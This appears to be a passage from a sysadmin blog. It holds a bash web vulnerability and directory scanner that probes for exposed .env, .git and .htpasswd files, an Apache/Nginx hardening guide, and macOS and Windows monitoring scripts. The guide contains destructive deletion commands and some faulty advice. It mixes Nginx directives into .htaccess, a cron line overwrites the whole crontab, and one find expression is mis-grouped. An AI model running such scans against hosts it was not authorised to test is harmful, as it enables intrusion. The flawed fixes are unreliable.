        INFO_COUNT=$(wc -l < "${OUTPUT_DIR}/info.tmp")
        echo -e "${GREEN}Total Info: $INFO_COUNT${NC}"
    else
        echo "No informational items found"
    fi
}

# Function to run gobuster scan for enhanced directory discovery
run_gobuster_scan() {
    echo "Running gobuster directory scan..."
    
    GOBUSTER_RESULTS="${OUTPUT_DIR}/gobuster_results.txt"
    PERMISSION_ANALYSIS="${OUTPUT_DIR}/gobuster_permissions.txt"
    > "$PERMISSION_ANALYSIS"
    
    for port in $(echo "$WEB_PORTS" | tr ',' ' '); do
        PROTOCOL="http"
        if [[ "$port" == "443" || "$port" == "8443" ]]; then
            PROTOCOL="https"
        fi
        
        echo "Scanning $PROTOCOL://$TARGET:$port with gobuster..."
        
        # Run gobuster with common wordlist
        if [ -f "/usr/share/wordlists/dirb/common.txt" ]; then
            WORDLIST="/usr/share/wordlists/dirb/common.txt"
        elif [ -f "/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt" ]; then
            WORDLIST="/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt"
        else
            # Create a small built-in wordlist
            WORDLIST="${OUTPUT_DIR}/temp_wordlist.txt"
            cat > "$WORDLIST" <<EOF
admin
administrator
api
backup
bin
cgi-bin
config
data
database
db
debug
dev
development
doc
docs
documentation
download
downloads
error
errors
export
files
hidden
images
img
include
includes
js
library
log
logs
manage
management
manager
media
old
private
proc
public
resources
scripts
secret
secure
server-status
staging
static
storage
system
temp
templates
test
testing
tmp
upload
uploads
users
var
vendor
web
webapp
wp-admin
wp-content
.git
.svn
.env
.htaccess
.htpasswd
robots.txt
sitemap.xml
web.config
phpinfo.php
info.php
test.php
EOF
        fi
        
        # Run gobuster with status code analysis
        gobuster dir -u "$PROTOCOL://$TARGET:$port" \
                    -w "$WORDLIST" \
                    -k \
                    -t 10 \
                    --no-error \
                    -o "${GOBUSTER_RESULTS}_${port}.txt" \
                    -s "200,204,301,302,307,401,403,405" 2>/dev/null
        
        # Analyze results for permission issues
        if [ -f "${GOBUSTER_RESULTS}_${port}.txt" ]; then
            echo "Analyzing gobuster results for permission issues..."
            
            # Check for 403 Forbidden directories
            grep "Status: 403" "${GOBUSTER_RESULTS}_${port}.txt" | while read line; do
                dir=$(echo "$line" | awk '{print $1}')
                echo -e "${ORANGE}[403 Forbidden]${NC} $PROTOCOL://$TARGET:$port$dir - Directory exists but access denied" >> "$PERMISSION_ANALYSIS"
                echo -e "${ORANGE}  Permission Issue:${NC} $PROTOCOL://$TARGET:$port$dir (403 Forbidden)"
            done
            
            # Check for 401 Unauthorized directories
            grep "Status: 401" "${GOBUSTER_RESULTS}_${port}.txt" | while read line; do
                dir=$(echo "$line" | awk '{print $1}')
                echo -e "${YELLOW}[401 Unauthorized]${NC} $PROTOCOL://$TARGET:$port$dir - Authentication required" >> "$PERMISSION_ANALYSIS"
                echo -e "${YELLOW}  Auth Required:${NC} $PROTOCOL://$TARGET:$port$dir (401 Unauthorized)"
            done
            
            # Check for directory listing enabled (potentially dangerous)
            grep "Status: 200" "${GOBUSTER_RESULTS}_${port}.txt" | while read line; do
                dir=$(echo "$line" | awk '{print $1}')
                # Check if it's a directory by looking for trailing slash or common directory patterns
                if [[ "$dir" =~ /$ ]] || [[ ! "$dir" =~ \. ]]; then
                    # Test if directory listing is enabled
                    RESPONSE=$(curl -k -s --max-time 5 "$PROTOCOL://$TARGET:$port$dir" 2>/dev/null)
                    if echo "$RESPONSE" | grep -qi "index of\|directory listing\|parent directory\|<pre>\|<dir>"; then
                        echo -e "${RED}[Directory Listing Enabled]${NC} $PROTOCOL://$TARGET:$port$dir - SECURITY RISK" >> "$PERMISSION_ANALYSIS"
                        echo -e "${RED}  🚨 Directory Listing:${NC} $PROTOCOL://$TARGET:$port$dir"
                    fi
                fi
            done
            
            # Check for sensitive files with incorrect permissions
            for sensitive_file in ".git/config" ".env" ".htpasswd" "web.config" "phpinfo.php" "info.php" ".DS_Store" "Thumbs.db"; do
                if grep -q "/$sensitive_file.*Status: 200" "${GOBUSTER_RESULTS}_${port}.txt"; then
                    echo -e "${RED}[Sensitive File Exposed]${NC} $PROTOCOL://$TARGET:$port/$sensitive_file - CRITICAL SECURITY RISK" >> "$PERMISSION_ANALYSIS"
                    echo -e "${RED}  🚨 Sensitive File:${NC} $PROTOCOL://$TARGET:$port/$sensitive_file"
                fi
            done
        fi
    done
    
    # Clean up temporary wordlist if created
    [ -f "${OUTPUT_DIR}/temp_wordlist.txt" ] && rm -f "${OUTPUT_DIR}/temp_wordlist.txt"
    
    # Display permission analysis summary
    if [ -s "$PERMISSION_ANALYSIS" ]; then
        echo ""
        echo -e "${ORANGE}=== Directory Permission Issues Summary ===${NC}"
        cat "$PERMISSION_ANALYSIS"
        
        # Count different types of issues
        FORBIDDEN_COUNT=$(grep -c "403 Forbidden" "$PERMISSION_ANALYSIS" 2>/dev/null || echo 0)
        UNAUTH_COUNT=$(grep -c "401 Unauthorized" "$PERMISSION_ANALYSIS" 2>/dev/null || echo 0)
        LISTING_COUNT=$(grep -c "Directory Listing Enabled" "$PERMISSION_ANALYSIS" 2>/dev/null || echo 0)
        SENSITIVE_COUNT=$(grep -c "Sensitive File Exposed" "$PERMISSION_ANALYSIS" 2>/dev/null || echo 0)
        
        echo ""
        echo "Permission Issue Statistics:"
        echo "  - 403 Forbidden directories: $FORBIDDEN_COUNT"
        echo "  - 401 Unauthorized directories: $UNAUTH_COUNT"
        echo "  - Directory listings enabled: $LISTING_COUNT"
        echo "  - Sensitive files exposed: $SENSITIVE_COUNT"
    fi
}

# Function to run TLS/SSL checks
run_tls_checks() {
    print_header "Running TLS/SSL Security Checks"
    
    # Check for HTTPS ports
    HTTPS_PORTS=$(echo "$OPEN_PORTS" | tr ',' '\n' | grep -E '443|8443' | tr '\n' ',' | sed 's/,$//')
    if [ -z "$HTTPS_PORTS" ]; then
        HTTPS_PORTS="443"
        echo "No HTTPS ports found in scan, checking default port 443..."
    fi
    
    echo "Checking TLS/SSL on ports: $HTTPS_PORTS"
    
    # Run SSL scan using nmap ssl scripts
    nmap -sV --script ssl-cert,ssl-enum-ciphers,ssl-known-key,ssl-ccs-injection,ssl-heartbleed,ssl-poodle,sslv2,tls-alpn,tls-nextprotoneg \
         -p "$HTTPS_PORTS" \
         -oN "${OUTPUT_DIR}/tls_scan.txt" \
         "$TARGET" 2>/dev/null
    
    # Parse TLS results
    TLS_ISSUES_FILE="${OUTPUT_DIR}/tls_issues.txt"
    > "$TLS_ISSUES_FILE"
    
    # Check for weak ciphers
    if grep -q "TLSv1.0\|SSLv2\|SSLv3" "${OUTPUT_DIR}/tls_scan.txt" 2>/dev/null; then
        echo "CRITICAL: Outdated SSL/TLS protocols detected" >> "$TLS_ISSUES_FILE"
    fi
    
    # Check for weak cipher suites
    if grep -q "DES\|RC4\|MD5" "${OUTPUT_DIR}/tls_scan.txt" 2>/dev/null; then
        echo "HIGH: Weak cipher suites detected" >> "$TLS_ISSUES_FILE"
    fi
    
    # Check for certificate issues
    if grep -q "expired\|self-signed" "${OUTPUT_DIR}/tls_scan.txt" 2>/dev/null; then
        echo "MEDIUM: Certificate issues detected" >> "$TLS_ISSUES_FILE"
    fi
    
    # Display TLS results
    echo ""
    if [ -s "$TLS_ISSUES_FILE" ]; then
        echo -e "${RED}TLS/SSL Issues Found:${NC}"
        cat "$TLS_ISSUES_FILE"
    else
        echo -e "${GREEN}✓ No major TLS/SSL issues detected${NC}"
    fi
    echo ""
}

# Function to run directory busting and permission checks
run_dirbuster() {
    print_header "Running Directory Discovery and Permission Checks"
    
    # Check for web ports
    WEB_PORTS=$(echo "$OPEN_PORTS" | tr ',' '\n' | grep -E '^(80|443|8080|8443)$' | tr '\n' ',' | sed 's/,$//')
    if [ -z "$WEB_PORTS" ]; then
        echo "No standard web ports found in open ports, checking defaults..."
        WEB_PORTS="80,443"
    fi
    
    echo "Running directory discovery on web ports: $WEB_PORTS"
    
    # Check if gobuster is available
    if command -v gobuster &> /dev/null; then
        echo -e "${GREEN}Using gobuster for enhanced directory discovery and permission checks${NC}"
        run_gobuster_scan
    else
        echo -e "${YELLOW}Gobuster not found. Using fallback method.${NC}"
        echo -e "${YELLOW}Install gobuster for enhanced directory permission checks: brew install gobuster${NC}"
    fi
    
    # Use nmap's http-enum script for directory discovery
    nmap -sV --script http-enum \
         --script-args http-enum.basepath='/' \
         -p "$WEB_PORTS" \
         -oN "${OUTPUT_DIR}/dirbuster.txt" \
         "$TARGET" 2>/dev/null
    
    # Common directory wordlist (built-in small list)
    COMMON_DIRS="admin administrator backup api config test dev staging uploads download downloads files documents images img css js scripts cgi-bin wp-admin phpmyadmin .git .svn .env .htaccess robots.txt sitemap.xml"
    
    # Quick check for common directories using curl
    DIRS_FOUND_FILE="${OUTPUT_DIR}/directories_found.txt"
    > "$DIRS_FOUND_FILE"
    
    for port in $(echo "$WEB_PORTS" | tr ',' ' '); do
        PROTOCOL="http"
        if [[ "$port" == "443" || "$port" == "8443" ]]; then
            PROTOCOL="https"
        fi
        
        echo "Checking common directories on $PROTOCOL://$TARGET:$port"
        
        for dir in $COMMON_DIRS; do
            URL="$PROTOCOL://$TARGET:$port/$dir"
            STATUS=$(curl -k -s -o /dev/null -w "%{http_code}" --max-time 3 "$URL" 2>/dev/null)
            
            if [[ "$STATUS" == "200" || "$STATUS" == "301" || "$STATUS" == "302" || "$STATUS" == "401" || "$STATUS" == "403" ]]; then
                echo "[$STATUS] $URL" >> "$DIRS_FOUND_FILE"
                echo -e "${GREEN}Found:${NC} [$STATUS] $URL"
                
                # Check for permission issues
                if [[ "$STATUS" == "403" ]]; then
                    echo -e "${ORANGE}  ⚠️  Permission denied (403) - Possible misconfiguration${NC}"
                    echo "[PERMISSION ISSUE] 403 Forbidden: $URL" >> "${OUTPUT_DIR}/permission_issues.txt"
                elif [[ "$STATUS" == "401" ]]; then
                    echo -e "${YELLOW}  🔒 Authentication required (401)${NC}"
                    echo "[AUTH REQUIRED] 401 Unauthorized: $URL" >> "${OUTPUT_DIR}/permission_issues.txt"
                fi
            fi
        done
    done
    
    # Display results
    echo ""
    if [ -s "$DIRS_FOUND_FILE" ]; then
        echo -e "${YELLOW}Directories/Files discovered:${NC}"
        cat "$DIRS_FOUND_FILE"
    else
        echo "No additional directories found"
    fi
    
    # Display permission issues if found
    if [ -s "${OUTPUT_DIR}/permission_issues.txt" ]; then
        echo ""
        echo -e "${ORANGE}Directory Permission Issues Found:${NC}"
        cat "${OUTPUT_DIR}/permission_issues.txt"
    fi
    echo ""
}

# Function to generate summary report
generate_summary() {
    print_header "SCAN SUMMARY"
    
    CRITICAL_COUNT=0
    HIGH_COUNT=0
    MEDIUM_COUNT=0
    LOW_COUNT=0
    INFO_COUNT=0
    
    [ -f "${OUTPUT_DIR}/critical.tmp" ] && CRITICAL_COUNT=$(wc -l < "${OUTPUT_DIR}/critical.tmp")
    [ -f "${OUTPUT_DIR}/high.tmp" ] && HIGH_COUNT=$(wc -l < "${OUTPUT_DIR}/high.tmp")
    [ -f "${OUTPUT_DIR}/medium.tmp" ] && MEDIUM_COUNT=$(wc -l < "${OUTPUT_DIR}/medium.tmp")
    [ -f "${OUTPUT_DIR}/low.tmp" ] && LOW_COUNT=$(wc -l < "${OUTPUT_DIR}/low.tmp")
    [ -f "${OUTPUT_DIR}/info.tmp" ] && INFO_COUNT=$(wc -l < "${OUTPUT_DIR}/info.tmp")
    
    echo "Target: $TARGET"
    echo "Scan Date: $(date)"
    echo ""
    echo -e "${RED}Critical:       $CRITICAL_COUNT${NC}"
    echo -e "${ORANGE}High:           $HIGH_COUNT${NC}"
    echo -e "${YELLOW}Medium:         $MEDIUM_COUNT${NC}"
    echo -e "${BLUE}Low:            $LOW_COUNT${NC}"
    echo -e "${GREEN}Informational:  $INFO_COUNT${NC}"
    echo ""
    
    TOTAL=$((CRITICAL_COUNT + HIGH_COUNT + MEDIUM_COUNT + LOW_COUNT))
    echo "Total Vulnerabilities: $TOTAL"
    
    # Risk assessment
    if [ $CRITICAL_COUNT -gt 0 ]; then
        echo -e "${RED}🚨 RISK LEVEL: CRITICAL - Immediate action required!${NC}"
    elif [ $HIGH_COUNT -gt 0 ]; then
        echo -e "${ORANGE}⚠️  RISK LEVEL: HIGH - Action required soon${NC}"
    elif [ $MEDIUM_COUNT -gt 0 ]; then
        echo -e "${YELLOW}⚡ RISK LEVEL: MEDIUM - Should be addressed${NC}"
    elif [ $LOW_COUNT -gt 0 ]; then
        echo -e "${BLUE}📋 RISK LEVEL: LOW - Monitor and plan fixes${NC}"
    else
        echo -e "${GREEN}✅ RISK LEVEL: MINIMAL - Good security posture${NC}"
    fi
    
    # Save summary to file
    {
        echo "Vulnerability Scan Summary for $TARGET"
        echo "======================================"
        echo "Scan Date: $(date)"
        echo ""
        echo "Critical: $CRITICAL_COUNT"
        echo "High: $HIGH_COUNT"
        echo "Medium: $MEDIUM_COUNT"
        echo "Low: $LOW_COUNT"
        echo "Informational: $INFO_COUNT"
        echo "Total: $TOTAL"
        echo ""
        echo "Additional Checks:"
        [ -f "${OUTPUT_DIR}/tls_issues.txt" ] && [ -s "${OUTPUT_DIR}/tls_issues.txt" ] && echo "TLS/SSL Issues: $(wc -l < "${OUTPUT_DIR}/tls_issues.txt")"
        [ -f "${OUTPUT_DIR}/directories_found.txt" ] && [ -s "${OUTPUT_DIR}/directories_found.txt" ] && echo "Directories Found: $(wc -l < "${OUTPUT_DIR}/directories_found.txt")"
        [ -f "${OUTPUT_DIR}/gobuster_permissions.txt" ] && [ -s "${OUTPUT_DIR}/gobuster_permissions.txt" ] && echo "Directory Permission Issues: $(wc -l < "${OUTPUT_DIR}/gobuster_permissions.txt")"
    } > "${OUTPUT_DIR}/summary.txt"
}

# Main execution
main() {
    echo "Starting vulnerability scan for $TARGET…"
    
    # Check if required tools are installed
    if ! command -v nmap &> /dev/null; then
        echo -e "${RED}Error: nmap is not installed. Please install nmap first.${NC}"
        exit 1
    fi
    
    if ! command -v curl &> /dev/null; then
        echo -e "${RED}Error: curl is not installed. Please install curl first.${NC}"
        exit 1
    fi
    
    # Check for optional tools
    if command -v gobuster &> /dev/null; then
        echo -e "${GREEN}✓ Gobuster found - Enhanced directory scanning enabled${NC}"
    else
        echo -e "${YELLOW}ℹ️  Gobuster not found - Basic directory scanning will be used${NC}"
        echo -e "${YELLOW}   Install with: brew install gobuster (macOS) or apt install gobuster (Linux)${NC}"
    fi
    
    # Run the main vulnerability scan
    run_scan
    
    # Run TLS/SSL checks
    run_tls_checks
    
    # Run directory discovery
    run_dirbuster
    
    # Parse results
    parse_vulnerabilities
    
    # Display formatted results
    display_results
    
    # Generate summary
    generate_summary
    
    # Cleanup temporary files
    rm -f "${OUTPUT_DIR}"/*.tmp
    
    print_header "SCAN COMPLETE"
    echo "All results saved in: $OUTPUT_DIR"
    echo "Summary saved in: ${OUTPUT_DIR}/summary.txt"
    echo -e "${GREEN}Scan completed at: $(date)${NC}"
}

# Run main function
main

Here’s a comprehensive guide on how to fix each type of directory permission issue that the above script might find (for apache):

## 1. **403 Forbidden Errors**

### What it means:
The directory/file exists but the server is denying access to it.

### How to fix:
# For Apache (.htaccess)
# Add to .htaccess in the directory:
Order deny,allow
Deny from all

# Or remove the directory from web access entirely
# Move sensitive directories outside the web root
mv /var/www/html/backup /var/backups/

# For Nginx
# Add to nginx.conf:
location /admin {
    deny all;
    return 404;  # Return 404 instead of 403 to hide existence
}
## 2. **401 Unauthorized Errors**

### What it means:
Authentication is required but may not be properly configured.

### How to fix:
# For Apache - create .htpasswd file
htpasswd -c /etc/apache2/.htpasswd username

# Add to .htaccess:
AuthType Basic
AuthName "Restricted Access"
AuthUserFile /etc/apache2/.htpasswd
Require valid-user

# For Nginx:
# Install apache2-utils for htpasswd
sudo apt-get install apache2-utils
htpasswd -c /etc/nginx/.htpasswd username

# Add to nginx.conf:
location /admin {
    auth_basic "Restricted Access";
    auth_basic_user_file /etc/nginx/.htpasswd;
}
## 3. **Directory Listing Enabled (CRITICAL)**

### What it means:
Anyone can see all files in the directory - major security risk!

### How to fix:
# For Apache
# Method 1: Add to .htaccess in the directory
Options -Indexes

# Method 2: Add to Apache config (httpd.conf or apache2.conf)
<Directory /var/www/html>
    Options -Indexes
</Directory>

# For Nginx
# Add to nginx.conf (Nginx doesn't have directory listing by default)
# If you see it enabled, remove:
autoindex off;  # This should be the default

# Create index files in empty directories
echo "<!DOCTYPE html><html><head><title>403 Forbidden</title></head><body><h1>403 Forbidden</h1></body></html>" > index.html
## 4. **Sensitive Files Exposed (CRITICAL)**

### Common exposed files and fixes:

#### **.git directory**
# Remove .git from production
rm -rf /var/www/html/.git

# Or block access via .htaccess
<Files ~ "^\.git">
    Order allow,deny
    Deny from all
</Files>

# For Nginx:
location ~ /\.git {
    deny all;
    return 404;
}
#### **.env file**
# Move outside web root
mv /var/www/html/.env /var/www/

# Update your application to read from new location
# In PHP: require_once __DIR__ . '/../.env';

# Block via .htaccess
<Files .env>
    Order allow,deny
    Deny from all
</Files>
#### **Configuration files (config.php, settings.php)**
# Move sensitive configs outside web root
mv /var/www/html/config.php /var/www/config/

# Or restrict access via .htaccess
<Files "config.php">
    Order allow,deny
    Deny from all
</Files>
#### **Backup files**
# Remove backup files from web directory
find /var/www/html -name "*.bak" -o -name "*.backup" -o -name "*.old" | xargs rm -f

# Create a cron job to clean regularly
echo "0 2 * * * find /var/www/html -name '*.bak' -o -name '*.backup' -delete" | crontab -
## 5. **General Security Best Practices**

### Create a comprehensive .htaccess file:
# Disable directory browsing
Options -Indexes

# Deny access to hidden files and directories
<Files .*>
    Order allow,deny
    Deny from all
</Files>

# Deny access to backup and source files
<FilesMatch "(\.(bak|backup|config|dist|fla|inc|ini|log|psd|sh|sql|swp)|~)$">
    Order allow,deny
    Deny from all
</FilesMatch>

# Protect sensitive files
location ~ /(\.htaccess|\.htpasswd|\.env|composer\.json|composer\.lock|package\.json|package-lock\.json)$ {
    deny all;
    return 404;
}

## 6. Quick Security Audit Commands
## Run these commands to find and fix common issues:

# Find all .git directories in web root
find /var/www/html -type d -name .git

# Find all .env files
find /var/www/html -name .env

# Find all backup files
find /var/www/html -type f \( -name "*.bak" -o -name "*.backup" -o -name "*.old" -o -name "*~" \)

# Find directories without index files (potential listing)
find /var/www/html -type d -exec sh -c '[ ! -f "$1/index.html" ] && [ ! -f "$1/index.php" ] && echo "$1"' _ {} \;

# Set proper permissions
find /var/www/html -type d -exec chmod 755 {} \;
find /var/www/html -type f -exec chmod 644 {} \;

## 7. Testing Your Fixes
## After implementing fixes, test them:

# Test that sensitive files are blocked
curl -I https://yoursite.com/.git/config
# Should return 403 or 404

# Test that directory listing is disabled
curl https://yoursite.com/images/
# Should not show a file list

# Run the vunscan.sh script again
./vunscan.sh yoursite.com
# Verify issues are resolved


## 8. Preventive Measures
## 1. Use a deployment script that excludes sensitive files:
bash
## 2. Regular security scans:
bash
## 3. Use a Web Application Firewall (WAF) like ModSecurity or Cloudflare

# Remember: The goal is not just to hide these files (security through obscurity) but to properly secure them or remove them from the web-accessible directory entirely.

Macbook: Script to monitor the top disk reads and writes

The script below tracks disk usage of a macbook for 20 seconds and the shows the processes with the highest disk utilisations

#!/bin/bash

# Disk I/O Monitor for macOS
# Shows which processes are using disk I/O the most with full paths

DURATION=20

echo "Disk I/O Monitor for macOS"
echo "========================================"
echo ""

# Check for sudo
if [[ $EUID -ne 0 ]]; then
    echo "ERROR: This script requires sudo privileges"
    echo "Please run: sudo $0"
    exit 1
fi

# Create temp file
TEMP_FILE="/tmp/disk_io_$$.txt"
export TEMP_FILE

# Collect data
echo "Collecting disk I/O data for $DURATION seconds..."
fs_usage -w -f filesys 2>/dev/null > "$TEMP_FILE" &
FS_PID=$!

# Progress bar
for i in $(seq 1 $DURATION); do
    printf "\rProgress: [%-20s] %d/%d seconds" "$(printf '#%.0s' $(seq 1 $((i*20/DURATION))))" $i $DURATION
    sleep 1
done
echo ""

# Stop collection
kill $FS_PID 2>/dev/null
wait $FS_PID 2>/dev/null

echo ""
echo "Processing data..."

# Parse with Python - pass temp file as argument
python3 - "$TEMP_FILE" << 'PYTHON_END'
import re
import os
import sys
from collections import defaultdict
import subprocess

# Get temp file from argument
temp_file = sys.argv[1] if len(sys.argv) > 1 else '/tmp/disk_io_temp.txt'

# Storage for process stats
stats = defaultdict(lambda: {'reads': 0, 'writes': 0, 'process_name': '', 'pid': ''})

# Parse fs_usage output
try:
    with open(temp_file, 'r') as f:
        for line in f:
            # Look for lines with process info (format: processname.pid at end of line)
            match = re.search(r'(\S+)\.(\d+)\s*$', line)
            if match:
                process_name = match.group(1)
                pid = match.group(2)
                key = f"{process_name}|{pid}"
                
                # Store process info
                stats[key]['process_name'] = process_name
                stats[key]['pid'] = pid
                
                # Categorize operation
                if any(op in line for op in ['RdData', 'read', 'READ', 'getattrlist', 'stat64', 'lstat64', 'open']):
                    stats[key]['reads'] += 1
                elif any(op in line for op in ['WrData', 'write', 'WRITE', 'close', 'fsync']):
                    stats[key]['writes'] += 1
except Exception as e:
    print(f"Error reading file: {e}")
    sys.exit(1)

# Calculate totals
total_ops = sum(s['reads'] + s['writes'] for s in stats.values())

# Get executable paths
def get_exe_path(process_name, pid):
    try:
        # Method 1: Try lsof with format output
        result = subprocess.run(['lsof', '-p', pid, '-Fn'], capture_output=True, text=True, stderr=subprocess.DEVNULL)
        paths = []
        for line in result.stdout.split('\n'):
            if line.startswith('n'):
                path = line[1:].strip()
                paths.append(path)
        
        # Look for the best path
        for path in paths:
            if '/Contents/MacOS/' in path and process_name in path:
                return path
            elif path.endswith('.app'):
                return path
            elif any(p in path for p in ['/bin/', '/sbin/', '/usr/']) and not any(path.endswith(ext) for ext in ['.dylib', '.so']):
                return path
        
        # Method 2: Try ps
        result = subprocess.run(['ps', '-p', pid, '-o', 'command='], capture_output=True, text=True, stderr=subprocess.DEVNULL)
        if result.stdout.strip():
            cmd = result.stdout.strip().split()[0]
            if os.path.exists(cmd):
                return cmd
        
        # Method 3: Return command name from ps
        result = subprocess.run(['ps', '-p', pid, '-o', 'comm='], capture_output=True, text=True, stderr=subprocess.DEVNULL)
        if result.stdout.strip():
            return result.stdout.strip()
            
    except Exception:
        pass
    
    # Last resort: return process name
    return process_name

# Sort by total operations
sorted_stats = sorted(stats.items(), key=lambda x: x[1]['reads'] + x[1]['writes'], reverse=True)

# Print header
print("\n%-30s %-8s %-45s %8s %8s %8s %7s %7s" % 
      ("Process Name", "PID", "Executable Path", "Reads", "Writes", "Total", "Read%", "Write%"))
print("=" * 140)

# Print top 20 processes
count = 0
for key, data in sorted_stats:
    if data['reads'] + data['writes'] == 0:
        continue
        
    total = data['reads'] + data['writes']
    read_pct = (data['reads'] * 100.0 / total_ops) if total_ops > 0 else 0
    write_pct = (data['writes'] * 100.0 / total_ops) if total_ops > 0 else 0
    
    # Get executable path
    exe_path = get_exe_path(data['process_name'], data['pid'])
    if len(exe_path) > 45:
        exe_path = "..." + exe_path[-42:]
    
    print("%-30s %-8s %-45s %8d %8d %8d %6.1f%% %6.1f%%" % 
          (data['process_name'][:30], 
           data['pid'], 
           exe_path,
           data['reads'], 
           data['writes'], 
           total,
           read_pct, 
           write_pct))
    
    count += 1
    if count >= 20:
        break

print("=" * 140)
print(f"Total I/O operations captured: {total_ops}")

PYTHON_END

# Cleanup
rm -f "$TEMP_FILE"

echo ""
echo "Monitoring complete."

Example output:

Disk I/O Monitor for macOS
========================================

Collecting disk I/O data for 20 seconds...
Progress: [####################] 20/20 seconds

Processing data...

Process Name                   PID      Executable Path                                  Reads   Writes    Total   Read%  Write%
============================================================================================================================================
Chrome                         4719678  Chrome                                             427      811     1238    3.1%    5.9%
UPMServiceController           4644625  UPMServiceController                               423      587     1010    3.1%    4.3%
UPMServiceController           4014337  UPMServiceController                               468      309      777    3.4%    2.2%
wsdlpd                         3060029  wsdlpd                                             154      370      524    1.1%    2.7%
tccd                           4743441  tccd                                               359       48      407    2.6%    0.3%
tccd                           4742031  tccd                                               358       48      406    2.6%    0.3%
com.crowdstrike.falcon.Agent   6174     com.crowdstrike.falcon.Agent                       301        5      306    2.2%    0.0%
UPMServiceContro               4644625  UPMServiceContro                                    12      285      297    0.1%    2.1%
mds_stores                     4736869  mds_stores                                         204       71      275    1.5%    0.5%
EndPointClassifier             6901     EndPointClassifier                                  40      231      271    0.3%    1.7%

MacOs: How to see which processes are using a specific port (eg 443)

Below is a useful script when you want to see which processes are using a specific port.

#!/bin/bash

# Port Monitor Script for macOS
# Usage: ./port_monitor.sh <port_number>
# Check if port number is provided

if [ $# -eq 0 ]; then
echo "Usage: $0 <port_number>"
echo "Example: $0 8080"
exit 1
fi

PORT=$1

# Validate port number

if ! [[ $PORT =~ ^[0-9]+$ ]] || [ $PORT -lt 1 ] || [ $PORT -gt 65535 ]; then
echo "Error: Please provide a valid port number (1-65535)"
exit 1
fi

# Function to display processes using the port

show_port_usage() {
local timestamp=$(date "+%Y-%m-%d %H:%M:%S")

# Clear screen for better readability
clear

echo "=================================="
echo "Port Monitor - Port $PORT"
echo "Last updated: $timestamp"
echo "Press Ctrl+C to exit"
echo "=================================="
echo

# Check for processes using the port with lsof - both TCP and UDP
if lsof -i :$PORT &>/dev/null || netstat -an | grep -E "[:.]$PORT[[:space:]]" &>/dev/null; then
    echo "Processes using port $PORT:"
    echo
    lsof -i :$PORT -P -n | head -1
    echo "--------------------------------------------------------------------------------"
    lsof -i :$PORT -P -n | tail -n +2
    echo
    
    # Also show netstat information for additional context
    echo "Network connections on port $PORT:"
    echo
    printf "%-6s %-30s %-30s %-12s\n" "PROTO" "LOCAL ADDRESS" "FOREIGN ADDRESS" "STATE"
    echo "--------------------------------------------------------------------------------------------"
    
    # Show all connections (LISTEN, ESTABLISHED, etc.)
    # Use netstat -n to show numeric addresses
    netstat -anp tcp | grep -E "\.$PORT[[:space:]]" | while read line; do
        # Extract the relevant fields from netstat output
        proto=$(echo "$line" | awk '{print $1}')
        local_addr=$(echo "$line" | awk '{print $4}')
        foreign_addr=$(echo "$line" | awk '{print $5}')
        state=$(echo "$line" | awk '{print $6}')
        
        # Only print if we have valid data
        if [ -n "$proto" ] && [ -n "$local_addr" ]; then
            printf "%-6s %-30s %-30s %-12s\n" "$proto" "$local_addr" "$foreign_addr" "$state"
        fi
    done
    
    # Also check UDP connections
    netstat -anp udp | grep -E "\.$PORT[[:space:]]" | while read line; do
        proto=$(echo "$line" | awk '{print $1}')
        local_addr=$(echo "$line" | awk '{print $4}')
        foreign_addr=$(echo "$line" | awk '{print $5}')
        printf "%-6s %-30s %-30s %-12s\n" "$proto" "$local_addr" "$foreign_addr" "-"
    done
    
    # Also check for any established connections using lsof
    echo
    echo "Active connections with processes:"
    echo "--------------------------------------------------------------------------------------------"
    lsof -i :$PORT -P -n 2>/dev/null | grep -v LISTEN | tail -n +2 | while read line; do
        if [ -n "$line" ]; then
            echo "$line"
        fi
    done
    
else
    echo "No processes found using port $PORT"
    echo
    
    # Check if the port might be in use but not showing up in lsof
    local netstat_result=$(netstat -anv | grep -E "\.$PORT ")
    if [ -n "$netstat_result" ]; then
        echo "However, netstat shows activity on port $PORT:"
        echo "$netstat_result"
    fi
fi

echo
echo "Refreshing in 20 seconds... (Press Ctrl+C to exit)"
}

# Trap Ctrl+C to exit gracefully

trap 'echo -e "\n\nExiting port monitor..."; exit 0' INT

# Main loop - refresh every 20 seconds

while true; do
show_port_usage
sleep 20
done

Windows Server: Polling critical DNS entries for any changes or errors

If you have tier 1 services that are dependant on a few DNS records, then you may want a simple batch job to monitor these dns records for changes or deletion.

The script below contains an example list of DNS entries (replace these records for the ones you want to monitor).

@echo off
setlocal enabledelayedexpansion

REM ============================================================================
REM DNS Monitor Script for Windows Server
REM Purpose: Monitor DNS entries for changes every 15 minutes
REM Author: Andrew Baker
REM Version: 1.0
REM Date: August 13, 2018
REM ============================================================================

REM Configuration Variables
set "LOG_FILE=dns_monitor.log"
set "PREVIOUS_FILE=dns_previous.tmp"
set "CURRENT_FILE=dns_current.tmp"
set "CHECK_INTERVAL=900"

REM DNS Entries to Monitor (Comma Separated List)
REM Add or modify domains as needed
set "DNS_LIST=google.com,microsoft.com,github.com,stackoverflow.com,amazon.com,facebook.com,twitter.com,linkedin.com,youtube.com,cloudflare.com"

REM Initialize log file with header if it doesn't exist
if not exist "%LOG_FILE%" (
    echo DNS Monitor Log - Started on %DATE% %TIME% > "%LOG_FILE%"
    echo ============================================================================ >> "%LOG_FILE%"
    echo. >> "%LOG_FILE%"
)

:MAIN_LOOP
echo [%DATE% %TIME%] Starting DNS monitoring cycle...
echo [%DATE% %TIME%] INFO: Starting DNS monitoring cycle >> "%LOG_FILE%"

REM Clear current results file
if exist "%CURRENT_FILE%" del "%CURRENT_FILE%"

REM Process each DNS entry
for %%d in (%DNS_LIST%) do (
    call :CHECK_DNS "%%d"
)

REM Compare with previous results if they exist
if exist "%PREVIOUS_FILE%" (
    call :COMPARE_RESULTS
) else (
    echo [%DATE% %TIME%] INFO: First run - establishing baseline >> "%LOG_FILE%"
)

REM Copy current results to previous for next comparison
copy "%CURRENT_FILE%" "%PREVIOUS_FILE%" >nul 2>&1

echo [%DATE% %TIME%] DNS monitoring cycle completed. Next check in 15 minutes...
echo [%DATE% %TIME%] INFO: DNS monitoring cycle completed >> "%LOG_FILE%"
echo. >> "%LOG_FILE%"

REM Wait 15 minutes (900 seconds) before next check
timeout /t %CHECK_INTERVAL% /nobreak >nul

goto MAIN_LOOP

REM ============================================================================
REM Function: CHECK_DNS
REM Purpose: Resolve DNS entry and log results
REM Parameter: %1 = Domain name to check
REM ============================================================================
:CHECK_DNS
set "DOMAIN=%~1"
echo Checking DNS for: %DOMAIN%

